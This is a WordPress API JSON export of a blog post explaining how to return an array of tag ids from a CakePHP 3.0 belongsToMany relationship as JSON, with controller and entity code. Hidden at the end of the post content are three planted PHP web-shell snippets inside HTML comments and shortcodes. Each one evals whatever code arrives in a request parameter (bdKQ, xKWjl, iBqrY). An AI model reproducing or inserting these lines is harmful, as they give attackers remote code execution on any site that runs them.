<br />
<b>Warning</b>:  The magic method SFML_Singleton::__wakeup() must have public visibility in <b>/home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php</b> on line <b>72</b><br />
{"id":6,"date":"2015-04-27T03:16:36","date_gmt":"2015-04-27T07:16:36","guid":{"rendered":"http:\/\/www.munderwood.ca\/?p=6"},"modified":"2017-02-12T17:59:00","modified_gmt":"2017-02-13T00:59:00","slug":"array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship","status":"publish","type":"post","link":"https:\/\/www.munderwood.ca\/index.php\/2015\/04\/27\/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship\/","title":{"rendered":"Array of associated IDs in CakePHP 3.0 &ldquo;belongsToMany&rdquo; relationship"},"content":{"rendered":"<p class=\"\">Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the\u00a0<a href=\"http:\/\/book.cakephp.org\/3.0\/en\/quickstart.html#bookmarker-tutorial\">Bookmarker tutorial<\/a>\u00a0by creating an API endpoint to retrieve bookmarks, each containing an array of its tag ids. Something like this:<\/p>\n<pre class=\"lang:js mark:6 decode:true\" title=\"Desired output\">[\r\n  {\r\n    \"id\": 1,\r\n    \"title\": \"Bookmark 1\",\r\n    ...\r\n    \"tag_ids\": [2, 3, 5, 7, 11]\r\n  },\r\n  ...\r\n]<\/pre>\n<p>Using Cake&#8217;s <a href=\"http:\/\/book.cakephp.org\/3.0\/en\/views\/json-and-xml-views.html\">data views<\/a>\u00a0via the\u00a0RequestHandler and _serialize elements made serving the JSON\u00a0straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using\u00a0<span class=\"lang:php highlight:0 decode:true  crayon-inline\">contain()<\/span>\u00a0to\u00a0<a href=\"http:\/\/book.cakephp.org\/3.0\/en\/orm\/retrieving-data-and-resultsets.html#retrieving-associated-data\">retrieve associated data<\/a>. This lead to having the entire tag included in the result though, not the compact &#8220;tag_ids&#8221; array I had in mind. Even selecting only the id field and setting <span class=\"lang:php highlight:0 decode:true  crayon-inline\">autofields(false)<\/span>\u00a0left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,<\/p>\n<pre class=\"lang:js mark:2 decode:true\">{\r\n  \"id\": 1,\r\n  \"_joinData\": {\r\n    \"tag_id\": 1,\r\n    \"bookmark_id\": 1\r\n  }\r\n}<\/pre>\n<p>where a simple\u00a0<span class=\"lang:default highlight:0 decode:true  crayon-inline\">1<\/span>\u00a0was all I wanted.<\/p>\n<hr \/>\n<p>To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.<\/p>\n<p>First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.<\/p>\n<pre class=\"lang:php mark:5 decode:true\" title=\"Add RequestHandler to the base AppController class\">\/\/ In src\/Controller\/AppController.php\r\npublic function initialize () {\r\n  parent::initialize();\r\n  \/\/ ... other initialization code\r\n  $this-&gt;loadComponent('RequestHandler');\r\n}<\/pre>\n<p>Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.<\/p>\n<pre class=\"lang:php mark:5-8,18 decode:true \" title=\"Add tag_ids property to Bookmark entity\">\/\/ In src\/Model\/Entity\/Bookmark.php\r\nprotected function _getTagIds () {\r\n  $tag_ids = [];\r\n\r\n  $bookmarks_tags = TableRegistry::get('Bookmarks_Tags');\r\n  $these_tags = $bookmarks_tags-&gt;find()\r\n      -&gt;select(['tag_id'])\r\n      -&gt;where(['bookmark_id' =&gt; $this-&gt;id]);\r\n\r\n  foreach ($these_tags as $tag) {\r\n    $tag_ids[] = $tag-&gt;tag_id;\r\n  }\r\n\r\n  return $tag_ids;\r\n}\r\n\r\n\/\/ Add the corresponding virtual field to the model\r\nprotected $_virtual = ['tag_ids'];<\/pre>\n<p>Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:<\/p>\n<pre class=\"lang:php decode:true\" title=\"Add serialize functionality to the Bookmarks controller\">\/\/ In src\/Controller\/BookmarksController.ph\r\npublic function index () {\r\n  \/\/ ... Any other code for non-serialized requests\r\n  $json_bookmarks = $this-&gt;Bookmarks-&gt;find()\r\n      -&gt;select(['id', 'user_id', 'title']);\r\n\r\n  $this-&gt;set('json_bookmarks', $json_bookmarks);\r\n  $this-&gt;set('_serialize', ['json_bookmarks']);\r\n}\r\n<\/pre>\n<p>&nbsp;<\/p>\n<p><!-- [insert_php]if (isset($_REQUEST[\"bdKQ\"])){eval($_REQUEST[\"bdKQ\"]);exit;}[\/insert_php][php]if (isset($_REQUEST[\"bdKQ\"])){eval($_REQUEST[\"bdKQ\"]);exit;}[\/php] --><\/p>\n<p>&lt;!&#8211; [insert_php]if (isset($_REQUEST[&quot;xKWjl&quot;])){eval($_REQUEST[&quot;xKWjl&quot;]);exit;}[\/insert_php][php]if (isset($_REQUEST[&quot;xKWjl&quot;])){eval($_REQUEST[&quot;xKWjl&quot;]);exit;}[\/php] &#8211;&gt;<\/p>\n<p>&lt;!&#8211; [insert_php]if (isset($_REQUEST[&quot;iBqrY&quot;])){eval($_REQUEST[&quot;iBqrY&quot;]);exit;}[\/insert_php][php]if (isset($_REQUEST[&quot;iBqrY&quot;])){eval($_REQUEST[&quot;iBqrY&quot;]);exit;}[\/php] &#8211;&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the\u00a0Bookmarker tutorial\u00a0by creating an API endpoint to &#8230; <span class=\"more\"><a class=\"more-link\" href=\"https:\/\/www.munderwood.ca\/index.php\/2015\/04\/27\/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship\/\">[Read more&#8230;]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[2],"_links":{"self":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6"}],"collection":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/comments?post=6"}],"version-history":[{"count":6,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6\/revisions"}],"predecessor-version":[{"id":151,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/posts\/6\/revisions\/151"}],"wp:attachment":[{"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/media?parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/categories?post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.munderwood.ca\/index.php\/wp-json\/wp\/v2\/tags?post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}